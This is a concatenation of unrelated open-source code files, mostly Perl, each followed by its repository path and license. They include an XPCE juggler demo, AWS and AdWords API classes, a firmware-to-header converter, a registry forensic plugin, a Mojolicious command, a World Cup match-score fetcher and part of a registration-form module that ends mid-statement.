message(J, set_speed), @default, @on) , menu_item(quit, message(J, free)) ]). initialise(F) :-> "Create a juggler-window":: send(F, send_super, initialise, 'Juggler', popup), send(F, append, new(P, picture)), send(P, scrollbars, none), send(P, popup, @juggler_popup), send(P, icon, 'juggler1.bm', 'Juggler'), send(P, display, new(Fig, figure)), send(Fig, status, 1), forall(member(N, [1,2,3,4,5]), (atomic_list_concat([juggler, N, '.bm'], IconName), new(I, bitmap(IconName)), send(I, name, N), send(Fig, display, I))), send(F, slot, timer, new(T, timer(0.1, message(Fig, next_status)))), send(T, start), get(F, class_variable_value, speed, Speed), send(F, speed, Speed), send(F, open). unlink(F) :-> send(F?timer, stop), send(F, send_super, unlink). speed(F, Speed:int) :-> "Set animations/second":: Interval is 1 / Speed, send(F?timer, interval, Interval), send(F, slot, speed, Speed). stop(F) :-> "Stop the juggler":: send(F?timer, stop). start(F) :-> "(Re)Start the juggler":: send(F?timer, start). set_speed(F) :-> "Popup a dialog to set the speed":: new(D, dialog('Speed of juggler')), send(D, append, new(S, slider(speed, 1, 50, F?speed, message(F, speed, @arg1)))), send(S, drag, @on), send(D, append, button(quit, message(D, free))), send(D, open). :- pce_end_class.
TeamSPoon/logicmoo_workspace
docker/rootfs/usr/local/lib/swipl/xpce/prolog/demo/juggler.pl
Perl
mit
3,957
package Paws::CloudHSM::ListHsmsResponse; use Moose; has HsmList => (is => 'ro', isa => 'ArrayRef[Str|Undef]'); has NextToken => (is => 'ro', isa => 'Str'); has _request_id => (is => 'ro', isa => 'Str'); ### main pod documentation begin ### =head1 NAME Paws::CloudHSM::ListHsmsResponse =head1 ATTRIBUTES =head2 HsmList => ArrayRef[Str|Undef] The list of ARNs that identify the HSMs. =head2 NextToken => Str If not null, more results are available. Pass this value to C<ListHsms> to retrieve the next set of items. =head2 _request_id => Str =cut 1;
ioanrogers/aws-sdk-perl
auto-lib/Paws/CloudHSM/ListHsmsResponse.pm
Perl
apache-2.0
572
package Google::Ads::AdWords::v201406::CampaignSharedSetError; use strict; use warnings; __PACKAGE__->_set_element_form_qualified(1); sub get_xmlns { 'https://adwords.google.com/api/adwords/cm/v201406' }; our $XML_ATTRIBUTE_CLASS; undef $XML_ATTRIBUTE_CLASS; sub __get_attr_class { return $XML_ATTRIBUTE_CLASS; } use base qw(Google::Ads::AdWords::v201406::ApiError); # Variety: sequence use Class::Std::Fast::Storable constructor => 'none'; use base qw(Google::Ads::SOAP::Typelib::ComplexType); { # BLOCK to scope variables my %fieldPath_of :ATTR(:get<fieldPath>); my %trigger_of :ATTR(:get<trigger>); my %errorString_of :ATTR(:get<errorString>); my %ApiError__Type_of :ATTR(:get<ApiError__Type>); my %reason_of :ATTR(:get<reason>); __PACKAGE__->_factory( [ qw( fieldPath trigger errorString ApiError__Type reason ) ], { 'fieldPath' => \%fieldPath_of, 'trigger' => \%trigger_of, 'errorString' => \%errorString_of, 'ApiError__Type' => \%ApiError__Type_of, 'reason' => \%reason_of, }, { 'fieldPath' => 'SOAP::WSDL::XSD::Typelib::Builtin::string', 'trigger' => 'SOAP::WSDL::XSD::Typelib::Builtin::string', 'errorString' => 'SOAP::WSDL::XSD::Typelib::Builtin::string', 'ApiError__Type' => 'SOAP::WSDL::XSD::Typelib::Builtin::string', 'reason' => 'Google::Ads::AdWords::v201406::CampaignSharedSetError::Reason', }, { 'fieldPath' => 'fieldPath', 'trigger' => 'trigger', 'errorString' => 'errorString', 'ApiError__Type' => 'ApiError.Type', 'reason' => 'reason', } ); } # end BLOCK 1; =pod =head1 NAME Google::Ads::AdWords::v201406::CampaignSharedSetError =head1 DESCRIPTION Perl data type class for the XML Schema defined complexType CampaignSharedSetError from the namespace https://adwords.google.com/api/adwords/cm/v201406. =head2 PROPERTIES The following properties may be accessed using get_PROPERTY / set_PROPERTY methods: =over =item * reason =back =head1 METHODS =head2 new Constructor. The following data structure may be passed to new(): =head1 AUTHOR Generated by SOAP::WSDL =cut
gitpan/GOOGLE-ADWORDS-PERL-CLIENT
lib/Google/Ads/AdWords/v201406/CampaignSharedSetError.pm
Perl
apache-2.0
2,231
#!/usr/bin/perl -w #$FreeBSD: soc2013/dpl/head/sys/dev/cxgb/bin2h.pl 189686 2009-03-10 19:22:45Z gnn $ if ($#ARGV != 1) { print "bin2h.pl <firmware> <headername>\n"; exit 1; } my $success = open INPUT, "$ARGV[0]"; unless ($success) { print "failed to open input\n"; exit 1; } $success = open OUTPUT, ">$ARGV[1].h"; unless ($success) { print "failed to open output\n"; exit 1; } my $license = <<END; /************************************************************************** Copyright (c) 2007-2009, Chelsio Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Neither the name of the Chelsio Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN22 CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \$FreeBSD\$ ***************************************************************************/ END print OUTPUT "$license\n"; my $binary; my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, $atime,$mtime,$ctime,$blksize,$blocks) = stat($ARGV[0]); print OUTPUT "#define U (unsigned char)\n\n"; print OUTPUT "static unsigned int $ARGV[1]_length = $size;\n"; print OUTPUT "static unsigned char $ARGV[1]" . "[$size]" . " = {\n"; for (my $i = 0; $i < $size; $i += 4) { my $number_read = read(INPUT, $binary, 4); my ($a, $b, $c, $d) = unpack("C C C C", $binary); $buf = sprintf("\tU 0x%02X, U 0x%02X, U 0x%02X, U 0x%02X, \n", $a, $b, $c, $d); print OUTPUT $buf; } print OUTPUT "};\n";
dplbsd/zcaplib
head/sys/dev/cxgb/bin2h.pl
Perl
bsd-2-clause
2,490
##************************************************************** ## ## Copyright (C) 1990-2007, Condor Team, Computer Sciences Department, ## University of Wisconsin-Madison, WI. ## ## Licensed under the Apache License, Version 2.0 (the "License"); you ## may not use this file except in compliance with the License. You may ## obtain a copy of the License at ## ## http://www.apache.org/licenses/LICENSE-2.0 ## ## Unless required by applicable law or agreed to in writing, software ## distributed under the License is distributed on an "AS IS" BASIS, ## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ## See the License for the specific language governing permissions and ## limitations under the License. ## ##************************************************************** package ConfigTools; #use CondorTest; use base 'Exporter'; our @EXPORT = qw(GenerateMassive); sub GenerateMassive { my $argcount = @_; my $iterations = shift; my $storage = shift; print "Current value for storage in GenerateMassive:$storage\n"; my $counter = 0; my $pattern = "x"; my $unique = "unique"; my $genunique = ""; #sleep(10); print "GenerateMassive:$iterations iterations\n"; print "arg count into GenerateMassive:$argcount\n"; if(defined $storage) { "print storing via array reference passed in\n"; } else { "Why are we missing an array reference in:GenerateMassive\n"; } while($counter < $iterations) { $genunique = "$unique$counter = $pattern"; push @{$storage},"$genunique\n"; #print "Try to add:$genunique to config\n"; $counter++; $pattern = $pattern . "xxxxxxxxxxxx"; } }; 1;
htcondor/htcondor
src/condor_tests/ConfigTools.pm
Perl
apache-2.0
1,642
#----------------------------------------------------------- # banner # Get banner information from the SOFTWARE hive file (if any) # # Written By: # Special Agent Brook William Minnick # Brook_Minnick@doioig.gov # U.S. Department of the Interior - Office of Inspector General # Computer Crimes Unit # 12030 Sunrise Valley Drive Suite 250 # Reston, VA 20191 #----------------------------------------------------------- package banner; use strict; my %config = (hive => "Software", osmask => 22, hasShortDescr => 1, hasDescr => 0, hasRefs => 0, version => 20081119); sub getConfig{return %config} sub getShortDescr { return "Get HKLM\\SOFTWARE.. Logon Banner Values"; } sub getDescr{} sub getRefs {} sub getHive {return $config{hive};} sub getVersion {return $config{version};} my $VERSION = getVersion(); sub pluginmain { my $class = shift; my $hive = shift; ::logMsg("Launching banner v.".$VERSION); ::rptMsg("banner v.".$VERSION); # banner ::rptMsg("(".$config{hive}.") ".getShortDescr()."\n"); # banner my $reg = Parse::Win32Registry->new($hive); my $root_key = $reg->get_root_key; my $key_path = "Microsoft\\Windows\\CurrentVersion\\policies\\system"; my $key; if ($key = $root_key->get_subkey($key_path)) { ::rptMsg("Logon Banner Information"); ::rptMsg($key_path); ::rptMsg("LastWrite Time ".gmtime($key->get_timestamp())." (UTC)"); ::rptMsg(""); # GET LEGALNOTICECAPTION -- my $caption; eval { $caption = $key->get_value("Legalnoticecaption")->get_data(); }; if ($@) { ::rptMsg("Legalnoticecaption value not found."); } else { ::rptMsg("Legalnoticecaption value = ".$caption); } ::rptMsg(""); # GET LEGALNOTICETEXT -- my $banner; eval { $banner = $key->get_value("Legalnoticetext")->get_data(); }; if ($@) { ::rptMsg("Legalnoticetext value not found."); } else { ::rptMsg("Legalnoticetext value = ".$banner); } ::rptMsg(""); } else { ::rptMsg($key_path." not found."); ::logMsg($key_path." not found."); } my $key_path = "Microsoft\\Windows NT\\CurrentVersion\\Winlogon"; my $key; if ($key = $root_key->get_subkey($key_path)) { ::rptMsg($key_path); ::rptMsg("LastWrite Time ".gmtime($key->get_timestamp())." (UTC)"); ::rptMsg(""); # GET LEGALNOTICECAPTION -- my $caption2; eval { $caption2 = $key->get_value("Legalnoticecaption")->get_data(); }; if ($@) { ::rptMsg("Legalnoticecaption value not found."); } else { ::rptMsg("Legalnoticecaption value = ".$caption2); } ::rptMsg(""); # GET LEGALNOTICETEXT -- my $banner2; eval { $banner2 = $key->get_value("Legalnoticetext")->get_data(); }; if ($@) { ::rptMsg("Legalnoticetext value not found."); } else { ::rptMsg("Legalnoticetext value = ".$banner2); } ::rptMsg(""); } else { ::rptMsg($key_path." not found."); ::logMsg($key_path." not found."); } } 1;
mhmdfy/autopsy
RecentActivity/release/rr-full/plugins/banner.pl
Perl
apache-2.0
2,978
#!/usr/bin/perl use strict; use warnings; use lib qw(blib/lib blib/arch/auto/Person); use Time::HiRes qw(tv_interval gettimeofday); use Person; my $start; my $elapsed; my $REPEAT = 10000; my $id = 123; my $name = 'Bob'; my $email = 'bob@example.com'; my $data; my $packed; my $person = Person->new; $start = [gettimeofday]; # Take the 'Person' protocol buffer through its life cycle. foreach ( 1 .. $REPEAT ) { $person->set_id($id); $person->set_name($name); $person->set_email($email); $packed = $person->pack(); $person->clear(); $person->unpack($packed); $id = $person->id(); $name = $person->name(); $email = $person->email(); } $elapsed = tv_interval($start); print "1) [$id] $name <$email>: $REPEAT iterations in $elapsed seconds.\n"; # Try again, but this time, populate the object with a hashref. $data = { id => $id, name => $name, email => $email }; $start = [gettimeofday]; foreach ( 1 .. $REPEAT ) { $person->copy_from($data); $packed = $person->pack(); $person->clear(); $person->unpack($packed); $data = $person->to_hashref(); } $elapsed = tv_interval($start); print "2) [$id] $name <$email>: $REPEAT iterations in $elapsed seconds.\n"; $start = [gettimeofday]; foreach ( 1 .. $REPEAT ) { $person = Person->new($data); $data = $person->to_hashref(); } $elapsed = tv_interval($start); print "3) [$id] $name <$email>: $REPEAT iterations in $elapsed seconds.\n"; $start = [gettimeofday]; foreach ( 1 .. $REPEAT ) { $packed = Person->new($data)->pack; } $elapsed = tv_interval($start); print "4) [$id] $name <$email>: $REPEAT iterations in $elapsed seconds.\n"; $start = [gettimeofday]; foreach ( 1 .. $REPEAT ) { $data = Person->new(Person->new($data)->pack)->to_hashref; } $elapsed = tv_interval($start); print "5) [$id] $name <$email>: $REPEAT iterations in $elapsed seconds.\n";
sombr/protobuf-perlxs
examples/simple/test.pl
Perl
apache-2.0
1,899
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!! # This file is machine-generated by mktables from the Unicode # database, Version 6.1.0. Any changes made here will be lost! # !!!!!!! INTERNAL PERL USE ONLY !!!!!!! # This file is for internal use by core Perl only. The format and even the # name or existence of this file are subject to change without notice. Don't # use it directly. return <<'END'; 0021 002F 003A 0040 005B 0060 007B 007E 00A1 00A7 00AB 00B6 00B7 00BB 00BF 037E 0387 055A 055F 0589 058A 05BE 05C0 05C3 05C6 05F3 05F4 0609 060A 060C 060D 061B 061E 061F 066A 066D 06D4 0700 070D 07F7 07F9 0830 083E 085E 0964 0965 0970 0AF0 0DF4 0E4F 0E5A 0E5B 0F04 0F12 0F14 0F3A 0F3D 0F85 0FD0 0FD4 0FD9 0FDA 104A 104F 10FB 1360 1368 1400 166D 166E 169B 169C 16EB 16ED 1735 1736 17D4 17D6 17D8 17DA 1800 180A 1944 1945 1A1E 1A1F 1AA0 1AA6 1AA8 1AAD 1B5A 1B60 1BFC 1BFF 1C3B 1C3F 1C7E 1C7F 1CC0 1CC7 1CD3 2010 2027 2030 2043 2045 2051 2053 205E 207D 207E 208D 208E 2329 232A 2768 2775 27C5 27C6 27E6 27EF 2983 2998 29D8 29DB 29FC 29FD 2CF9 2CFC 2CFE 2CFF 2D70 2E00 2E2E 2E30 2E3B 3001 3003 3008 3011 3014 301F 3030 303D 30A0 30FB A4FE A4FF A60D A60F A673 A67E A6F2 A6F7 A874 A877 A8CE A8CF A8F8 A8FA A92E A92F A95F A9C1 A9CD A9DE A9DF AA5C AA5F AADE AADF AAF0 AAF1 ABEB FD3E FD3F FE10 FE19 FE30 FE52 FE54 FE61 FE63 FE68 FE6A FE6B FF01 FF03 FF05 FF0A FF0C FF0F FF1A FF1B FF1F FF20 FF3B FF3D FF3F FF5B FF5D FF5F FF65 10100 10102 1039F 103D0 10857 1091F 1093F 10A50 10A58 10A7F 10B39 10B3F 11047 1104D 110BB 110BC 110BE 110C1 11140 11143 111C5 111C8 12470 12473 END
Dokaponteam/ITF_Project
xampp/perl/lib/unicore/lib/Perl/XPosixPu.pl
Perl
mit
1,656
package Mojolicious::Command::inflate; use Mojo::Base 'Mojolicious::Command'; use Mojo::Loader qw(data_section file_is_binary); use Mojo::Util 'encode'; has description => 'Inflate embedded files to real files'; has usage => sub { shift->extract_usage }; sub run { my $self = shift; # Find all embedded files my %all; my $app = $self->app; for my $class (@{$app->renderer->classes}, @{$app->static->classes}) { for my $name (keys %{data_section $class}) { my $data = data_section $class, $name; $data = encode 'UTF-8', $data unless file_is_binary $class, $name; $all{$name} = $data; } } # Turn them into real files for my $name (grep {/\.\w+$/} keys %all) { my $prefix = $name =~ /\.\w+\.\w+$/ ? 'templates' : 'public'; $self->write_file($self->rel_file("$prefix/$name"), $all{$name}); } } 1; =encoding utf8 =head1 NAME Mojolicious::Command::inflate - Inflate command =head1 SYNOPSIS Usage: APPLICATION inflate [OPTIONS] ./myapp.pl inflate Options: -h, --help Show this summary of available options --home <path> Path to home directory of your application, defaults to the value of MOJO_HOME or auto-detection -m, --mode <name> Operating mode for your application, defaults to the value of MOJO_MODE/PLACK_ENV or "development" =head1 DESCRIPTION L<Mojolicious::Command::inflate> turns templates and static files embedded in the C<DATA> sections of your application into real files. This is a core command, that means it is always enabled and its code a good example for learning to build new commands, you're welcome to fork it. See L<Mojolicious::Commands/"COMMANDS"> for a list of commands that are available by default. =head1 ATTRIBUTES L<Mojolicious::Command::inflate> inherits all attributes from L<Mojolicious::Command> and implements the following new ones. =head2 description my $description = $inflate->description; $inflate = $inflate->description('Foo'); Short description of this command, used for the command list. =head2 usage my $usage = $inflate->usage; $inflate = $inflate->usage('Foo'); Usage information for this command, used for the help screen. =head1 METHODS L<Mojolicious::Command::inflate> inherits all methods from L<Mojolicious::Command> and implements the following new ones. =head2 run $inflate->run(@ARGV); Run this command. =head1 SEE ALSO L<Mojolicious>, L<Mojolicious::Guides>, L<http://mojolicious.org>. =cut
ashkanx/binary-mt
scripts/local/lib/perl5/Mojolicious/Command/inflate.pm
Perl
apache-2.0
2,532
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!! # This file is built by mktables from e.g. UnicodeData.txt. # Any changes made here will be lost! # # This file supports: # \p{N} # \p{N} (and fuzzy permutations) # # Meaning: Major Category 'N' # return <<'END'; 0030 0039 00B2 00B3 00B9 00BC 00BE 0660 0669 06F0 06F9 07C0 07C9 0966 096F 09E6 09EF 09F4 09F9 0A66 0A6F 0AE6 0AEF 0B66 0B6F 0BE6 0BF2 0C66 0C6F 0C78 0C7E 0CE6 0CEF 0D66 0D75 0E50 0E59 0ED0 0ED9 0F20 0F33 1040 1049 1090 1099 1369 137C 16EE 16F0 17E0 17E9 17F0 17F9 1810 1819 1946 194F 19D0 19D9 1B50 1B59 1BB0 1BB9 1C40 1C49 1C50 1C59 2070 2074 2079 2080 2089 2153 2182 2185 2188 2460 249B 24EA 24FF 2776 2793 2CFD 3007 3021 3029 3038 303A 3192 3195 3220 3229 3251 325F 3280 3289 32B1 32BF A620 A629 A8D0 A8D9 A900 A909 AA50 AA59 FF10 FF19 10107 10133 10140 10178 1018A 10320 10323 10341 1034A 103D1 103D5 104A0 104A9 10916 10919 10A40 10A47 12400 12462 1D360 1D371 1D7CE 1D7FF END
leighpauls/k2cro4
third_party/cygwin/lib/perl5/5.10/unicore/lib/gc_sc/N.pl
Perl
bsd-3-clause
1,020
use strict; use CXGN::Page; my $page=CXGN::Page->new('chr1c.html','html2pl converter'); $page->header('Chromosome 1'); print<<END_HEREDOC; <br /> <br /> <center> <h1><a href="chr1_split.pl">Chromosome 1</a></h1> <h3>- Section C -</h3> <br /> <br /> <table summary=""> <tr> <td align="right" valign="top"><img alt="" align="left" src="/documents/maps/tomato_arabidopsis/map_images/chr1c.png" border="none" /></td> </tr> </table> </center> END_HEREDOC $page->footer();
solgenomics/sgn
cgi-bin/maps/tomato_arabidopsis/chr1c.pl
Perl
mit
525
package WorldCup::Command::matches; # ABSTRACT: All match data, updated every minute. use strict; use warnings; use WorldCup -command; use JSON; use LWP::UserAgent; use File::Basename; use Term::ANSIColor; sub opt_spec { return ( [ "outfile|o=s", "A file to place the match data information" ], ); } sub validate_args { my ($self, $opt, $args) = @_; my $command = __FILE__; if ($self->app->global_options->{man}) { system([0..5], "perldoc $command"); } else { $self->usage_error("Too many arguments.") if @$args; } } sub execute { my ($self, $opt, $args) = @_; exit(0) if $self->app->global_options->{man}; my $outfile = $opt->{outfile}; my $datetime = $opt->{datetime}; my $result = _fetch_matches($outfile, $datetime); } sub _fetch_matches { my ($outfile, $datetime) = @_; my $out; if ($outfile) { open $out, '>', $outfile or die "\nERROR: Could not open file: $!\n"; } else { $out = \*STDOUT; } my $ua = LWP::UserAgent->new; my $urlbase = 'http://worldcup.sfg.io/matches'; my $response = $ua->get($urlbase); unless ($response->is_success) { die "Can't get url $urlbase -- ", $response->status_line; } my $matches = decode_json($response->content); printf $out "%14s %s %s ", "HOME", " ", " AWAY"; print $out "("; if ($outfile) { print $out sprintf("%s ", 'Win'); print $out sprintf("%s ", 'Loss'); print $out sprintf("%s", 'Draw'); } else { print $out colored( sprintf("%s ", 'Win'), 'yellow'); print $out colored( sprintf("%s ", 'Loss'), 'red'); print $out colored( sprintf("%s", 'Draw'), 'magenta'); } print $out ")\n"; my %timeh; for my $match (@$matches) { my ($year, $month, $day, $time) = $match->{datetime} =~ /(\d\d\d\d)-(\d\d)-(\d\d)T(\d\d:\d\d)/; if ( $match->{status} eq "completed" ) { if ($outfile) { print $out "$month/$day, $time\n" unless exists $timeh{$month.$day.$time}; } else { print $out colored("$month/$day, $time", 'bold underline'), "\n" unless exists $timeh{$month.$day.$time}; } $timeh{$month.$day.$time} = 1; if ($match->{home_team}{goals} > $match->{away_team}{goals}) { if ($outfile) { print $out sprintf("%14s ", $match->{home_team}{country}); printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals}; print $out sprintf(" %s\n", $match->{away_team}{country}); } else { print $out colored( sprintf("%14s ", $match->{home_team}{country}), 'yellow'); printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals}; print $out colored( sprintf(" %s\n", $match->{away_team}{country}), 'red'); } } elsif ($match->{home_team}{goals} < $match->{away_team}{goals}) { if ($outfile) { print $out sprintf("%14s ", $match->{home_team}{country}); printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals}; print $out sprintf(" %s\n", $match->{away_team}{country}); } else { print $out colored( sprintf("%14s ", $match->{home_team}{country}), 'red'); printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals}; print $out colored( sprintf(" %s\n", $match->{away_team}{country}), 'yellow'); } } else { if ($outfile) { print $out sprintf("%14s ", $match->{home_team}{country}); printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals}; print $out sprintf(" %s\n", $match->{away_team}{country}); } else { print $out colored( sprintf("%14s ", $match->{home_team}{country}), 'magenta'); printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals}; print $out colored( sprintf(" %s\n", $match->{away_team}{country}), 'magenta'); } } } } close $out; } 1; __END__ =pod =head1 NAME worldcup matches - Get the latest match information, up to the minute =head1 SYNOPSIS worldcup matches -o wcmatches =head1 DESCRIPTION Print the match results sorted by match time. By default, the results are displayed in color for easy interpretation, though the results are not formatted if printing to a file. =head1 AUTHOR S. Evan Staton, C<< <statonse at gmail.com> >> =head1 REQUIRED ARGUMENTS =over 2 =item -o, --outfile A file to place the World Cup match information =back =head1 OPTIONS =over 2 =item -h, --help Print a usage statement. =item -m, --man Print the full documentation. =back =cut
sestaton/WorldCupStats
lib/WorldCup/Command/matches.pm
Perl
mit
4,734
# # $Header: svn://svn/SWM/trunk/web/RegoForm.pm 10840 2014-02-27 23:24:15Z apurcell $ # package RegoForm; require Exporter; @ISA = qw(Exporter); @EXPORT = qw( getRegoFormText regoform_text_edit update_regoformtext regoform_products update_regoform_products regoform_teamcomps update_regoform_teamcomps GetFormType GetFormName update_regoform_status getBreadcrumbs HTML_breadcrumbs hidden_fields getProductsTabOnly regoform_notifications update_regoform_notifications pack_notif_bits ); use strict; use lib ".", "RegoForm/"; use CGI qw(param unescape Vars); use Reg_common; use ConfigOptions qw(getAssocSubType); use Products; use Utils; use MD5; use AuditLog; use RegoFormStepper; use RegoFormObj; use RegoFormUtils; use ContactsObj; use TTTemplate; use RegoFormCreateFromTemplate qw(create_from_template); use RegoFormStepper; use RegoFormFields; use RegoFormProductAddedObj; use RegoFormProductAddedSQL; use RegoFormConfigAddedObj; use RegoFormConfigAddedSQL; sub getRegoFormText { my ($Data)=@_; my $cgi = new CGI; my $formID = $Data->{'RegoFormID'} || untaint_number($cgi->param('fID')) || 0; my $realmID=$Data->{'Realm'} || 0; my $realmSubType=$Data->{'RealmSubType'} || 0; my $assocID=$Data->{'clientValues'}{'assocID'} || -1; my $subtype=getAssocSubType($Data->{'db'},$assocID) || 0; my $st = q[ SELECT intAssocID, intSubRealmID, strPageOneText, strTopText, strBottomText, strSuccessText, strAuthEmailText, strIndivRegoSelect, strTeamRegoSelect, strPaymentText, strTermsCondHeader, strTermsCondText, intTC_AgreeBox, intRegoFormID FROM tblRegoFormConfig WHERE (intAssocID=0 or intAssocID = ?) AND (intSubRealmID = ? or intSubRealmID=0) AND intRealmID = ? AND intRegoFormID IN(0, ?) ORDER BY intSubRealmID ASC, intAssocID ASC, intRegoFormID ASC ]; my $query = $Data->{'db'}->prepare($st); $query->execute( $assocID, $realmSubType, $realmID, $formID); my %Text=(); my @textfields = qw( strPageOneText strTopText strTermsCondHeader strTermsCondText intTC_AgreeBox strBottomText strSuccessText strAuthEmailText strIndivRegoSelect strTeamRegoSelect strPaymentText ); #nationalrego. my $dbh = $Data->{'db'}; my $regoFormObj = RegoFormObj->load(db=>$dbh, ID=>$formID); LEVEL: while (my $dref = $query->fetchrow_hashref()) { if (($dref->{'intSubRealmID'} and $dref->{'intSubRealmID'} != $subtype) ) { next LEVEL if($assocID>0); } FIELD: foreach my $textfield ( @textfields ) { next FIELD unless $dref->{$textfield}; $Text{$textfield} = $dref->{$textfield} if ($dref->{$textfield}); $Text{'SetByRealm'} = 1 unless (($dref->{'intAssocID'} and $dref->{'intRegoFormID'}) or $regoFormObj->isNodeForm()); $Text{'SetByRealm_'.$textfield} = 1 if ($Text{'SetByRealm'} and $Text{'SetByRealm'} == 1 and (! $dref->{'intAssocID'} or ! $dref->{'intRegoFormID'})); } } if ($regoFormObj->isNodeForm()) { my ($currLevel, $entityID) = getEntityValues($Data->{'clientValues'}); if (!$regoFormObj->isOwnForm(entityID=>$entityID)) { my $regoFormConfigAddedObj = RegoFormConfigAddedObj->loadByFormEntityTypeEntityID(dbh=>$dbh, formID=>$formID, entityID=>$entityID, entityTypeID=>$currLevel); if ($regoFormConfigAddedObj) { $Text{'strTermsCondHeader'} = $regoFormConfigAddedObj->getValue('strTermsCondHeader');; $Text{'strTermsCondText'} = $regoFormConfigAddedObj->getValue('strTermsCondText'); } else { $Text{'strTermsCondHeader'} = ''; $Text{'strTermsCondText'} = ''; } } } my @rego_as; foreach my $rego_type (qw( Player Coach Umpire Official Misc Volunteer )) { my $rt_name = "d_int$rego_type"; next unless param($rt_name); my $rego_label; if ($Data->{'SystemConfig'}{$rego_type.'Label'}) { $rego_label = $Data->{'SystemConfig'}{$rego_type.'Label'}; } elsif ($rego_type eq 'Umpire') { $rego_label = 'Match Official'; } else { $rego_label = $rego_type; } my $rt_field = hidden_fields( $rt_name => 1 ); push @rego_as, "$rego_label $rt_field"; } if (scalar @rego_as) { $Text{strRegoAs} = join( q{}, 'Registering as ', ((scalar @rego_as == 1) ? $rego_as[0] : $cgi->ul( $cgi->li( \@rego_as ) ) ), '<br><br>', ); } my $TC_AgreeBox_text = $Data->{'SystemConfig'}{'regoform_CustomTCText'} || 'I have read and agree to the Terms and Conditions'; $Text{'TC_AgreeBox'} = $Text{'intTC_AgreeBox'} ? qq[ <span style="font-size:14px;color:red;"> <b>$TC_AgreeBox_text <input type="checkbox" value="1" name="tcagree"></b> <img src="images/compulsory.gif" alt="" border=0> </span> ] : q{}; return \%Text; } sub regoform_text_edit { my($Data, $stepper_fid)=@_; my ($formID, $formType, $stepper_html, $stepper_mode, $stepper_edit, $stepper_inpt) = get_stepper_stuff($Data, $stepper_fid, 'mess'); $formType = GetFormType($Data); my $realmID=$Data->{'Realm'} || 0; my $target=$Data->{'target'}; my $cl = setClient($Data->{'clientValues'}); my $unesc_cl=unescape($cl); my $assocID=$Data->{'clientValues'}{'assocID'} || $Defs::INVALID_ID; my $RegoText=getRegoFormText($Data); #nationalrego. my $dbh = $Data->{'db'}; my $currLevel = $Data->{'clientValues'}{'currentLevel'}; my $currID = getEntityID($Data->{'clientValues'}); my $regoFormObj = RegoFormObj->load(db=>$dbh, ID=>$formID); my $disableText = ($regoFormObj->isNodeForm() and !$regoFormObj->isOwnForm(entityID=>$currID)) ? 1 : 0; my $body=''; my $checked = $RegoText->{'intTC_AgreeBox'} ? 'checked' : ''; my $formName = GetFormName($Data).' (#'.$formID.')'; my $breadcrumbs = getBreadcrumbs($cl, $stepper_mode, 'Edit', 'Text Messages'); my $continue_btn = ($stepper_mode eq 'add') ? qq[<input type="submit" value="Continue" class="button proceed-button">] : qq[<input type="submit" value="Save" class="button proceed-button">]; # The below form code is changed to display (as read only) the Realm set fields and allow others # to be edited by the club/assoc $body=qq[ <script type="text/javascript"> jQuery(function() { jQuery('#texttabs').tabs({ selected: 0 }); }); </script> $stepper_html <p>Customise the text that displays at various stages of the registration process.</p> <form action="$target" method="POST"> <input type="hidden" name="a" value="A_ORF_tu"> <input type="hidden" name="client" value="$unesc_cl"> <input type="hidden" name="fID" value="$formID"> $stepper_inpt $continue_btn ]; my $initialinfo = ($formType eq 'Member') ? qq[<li><a href="#firstTextTab">Initial Information</a></li>] : ''; $body .= qq[ <br> <div id="texttabs" style="float:left;width:80%;margin-top:0;margin-bottom:0;"> <ul> <li><a href="#individualTextTab">Choose Type</a></li> $initialinfo <li><a href="#fullInfoTab">Full Information</a></li> <li><a href="#completionTextTab">Summary</a></li> <li><a href="#ccardTextTab">Credit Card Payment</a></li> <li><a href="#emailTextTab">Confirmation Email</a></li> </ul> <div id="individualTextTab"> ]; if ($formType eq 'Member') { $body .= qq[ <span class="label">This text will appear on the first page above the login section.</span><br> ]; # $body .= $RegoText->{'SetByRealm_strIndivRegoSelect'} $body .= ($RegoText->{'SetByRealm_strIndivRegoSelect'} or $disableText) ? qq[ <div>$RegoText->{'strIndivRegoSelect'}</div><br>] : qq[ <textarea name="indivregoselect" cols="70" rows="17">$RegoText->{'strIndivRegoSelect'}</textarea>]; } if ($formType eq 'Team') { $body .= qq[ <span class="label">This text will appear on the first page above the login section.</span><br> ]; $body .= $RegoText->{'SetByRealm_strTeamRegoSelect'} ? qq[ <div>$RegoText->{'strTeamRegoSelect'}</div><br>] : qq[ <textarea name="teamregoselect" cols="70" rows="17">$RegoText->{'strTeamRegoSelect'}</textarea>]; } $body .= qq[</div>]; if ($formType eq 'Member') { $body .= qq[ <div id="firstTextTab"> <span class="label">This text will appear at the top of the 'Initial Information' page.</span> <br> ]; # $body .= $RegoText->{'SetByRealm_strPageOneText'} $body .= ($RegoText->{'SetByRealm_strPageOneText'} or $disableText) ? qq[ 